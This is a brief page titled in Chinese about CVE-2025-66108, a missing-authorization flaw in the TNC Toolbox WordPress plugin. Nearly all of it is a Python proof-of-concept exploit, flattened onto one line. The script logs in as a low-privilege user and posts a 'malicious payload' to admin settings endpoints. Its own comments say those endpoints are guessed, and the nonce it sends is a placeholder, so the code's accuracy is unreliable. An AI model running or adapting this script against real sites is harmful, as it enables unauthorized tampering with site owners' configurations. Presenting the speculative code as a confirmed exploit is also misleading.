CVE-2025-66108: TNC Toolbox Web Performance插件存在缺失授权漏洞

import requests # CVE-2025-66108 PoC - TNC Toolbox Access Control Bypass # Target: WordPress site with vulnerable TNC Toolbox plugin (<=2.0.4) TARGET_URL = "https://vulnerable-site.com" USERNAME = "low-privilege-user" PASSWORD = "user-password" def get_auth_cookies(): """Authenticate with WordPress and get session cookies""" login_url = f"{TARGET_URL}/wp-login.php" data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In' } session = requests.Session() session.post(login_url, data=data) return session.cookies.get_dict() def exploit_missing_authorization(cookies): """ Exploit CVE-2025-66108: Missing Authorization in TNC Toolbox Attempt to access admin-only functionality with low-privilege user """ # Identify vulnerable endpoints (based on plugin functionality) vulnerable_endpoints = [ f"{TARGET_URL}/wp-admin/admin-ajax.php?action=tnc_toolbox_save_settings", f"{TARGET_URL}/wp-json/tnc-toolbox/v1/settings", f"{TARGET_URL}/wp-admin/admin.php?page=tnc-toolbox-settings" ] # Malicious payload to modify settings payload = { 'web_performance_mode': 'aggressive', 'cache_settings': 'malicious_value', '_wpnonce': 'bypass_nonce_check' } for endpoint in vulnerable_endpoints: try: response = requests.post(endpoint, data=payload, cookies=cookies) # Check if unauthorized access was successful if response.status_code == 200 and 'success' in response.text.lower(): print(f"[+] VULNERABLE: {endpoint}") print(f" Response: {response.text[:200]}") except requests.RequestException as e: print(f"[-] Error accessing {endpoint}: {e}") if __name__ == "__main__": print("CVE-2025-66108 PoC - TNC Toolbox Missing Authorization") cookies = get_auth_cookies() exploit_missing_authorization(cookies)